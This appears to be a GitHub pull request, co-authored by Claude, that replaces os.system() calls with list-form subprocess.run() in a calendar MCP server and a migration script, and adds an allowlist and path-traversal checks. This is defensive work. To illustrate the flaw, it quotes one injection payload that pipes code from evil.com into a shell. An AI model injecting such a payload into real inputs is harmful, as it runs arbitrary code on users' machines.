fix: replace os.system() with subprocess.run() to prevent command injection#37
Open
caleb-love wants to merge 1 commit intodavekilleen:mainfrom
Open
fix: replace os.system() with subprocess.run() to prevent command injection#37caleb-love wants to merge 1 commit intodavekilleen:mainfrom
caleb-love wants to merge 1 commit intodavekilleen:mainfrom
Conversation
…ection os.system() interpolates arguments into shell command strings, which allows injection if any user-controlled value (calendar name, event title, search query) contains shell metacharacters. Replaced with subprocess.run() using list-form arguments so values are never interpreted by a shell. Changes: - calendar_server.py: replace os.system() in run_shell_script with subprocess.run() list args, add ALLOWED_SCRIPTS allowlist and path traversal protection, remove unused run_applescript() (dead code, zero callers, dangerous execution primitive) - migrate_to_wikilinks.py: replace 3x os.system() calls with subprocess.run() list args for git and osascript commands Known follow-up: calendar_create_event.sh and calendar_delete_event.sh still interpolate argv into AppleScript heredocs — a separate injection vector at the AppleScript layer that warrants its own PR. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Linked Issue
What Changed
os.system()was used incalendar_server.pyandmigrate_to_wikilinks.pyto execute shell commands by interpolating arguments into command strings. Any user-controlled value containing shell metacharacters (e.g., a calendar name, event title, or search query passed via MCP tools) could escape the quoting and execute arbitrary commands.Why this matters: Calendar names, event titles, descriptions, locations, and search queries all flow from MCP tool calls into these shell commands. A crafted value like
"; curl evil.com | sh; #could break out of the quoting and run arbitrary commands on the user's machine.What was done:
calendar_server.py: Replacedos.system()inrun_shell_script()withsubprocess.run()using list-form arguments (no shell interpretation). Added anALLOWED_SCRIPTSallowlist so only known scripts can execute. Added path traversal protection (resolve()+is_relative_to()). Removed the unusedrun_applescript()function (zero callers, dangerous execution primitive). Removed unusedosandtempfileimports.migrate_to_wikilinks.py: Replaced 3xos.system()calls withsubprocess.run()list-form arguments. Git commands now usecwd=parameter instead ofcd &&shell chaining. osascript and afplay calls use list args.Known follow-up:
calendar_create_event.shandcalendar_delete_event.shinterpolate their argv into AppleScript heredocs without escaping — a separate injection vector at the AppleScript layer. That's a larger scope change and is better addressed in a dedicated PR.Test Plan
pytest core/tests/ core/mcp/tests/ -v— 137 passed, 1 skippedruff check core/mcp/calendar_server.py core/obsidian/migrate_to_wikilinks.py— all checks passedRalph Wiggum Loop
Quality Gates
Risk & Rollback
Docs Impact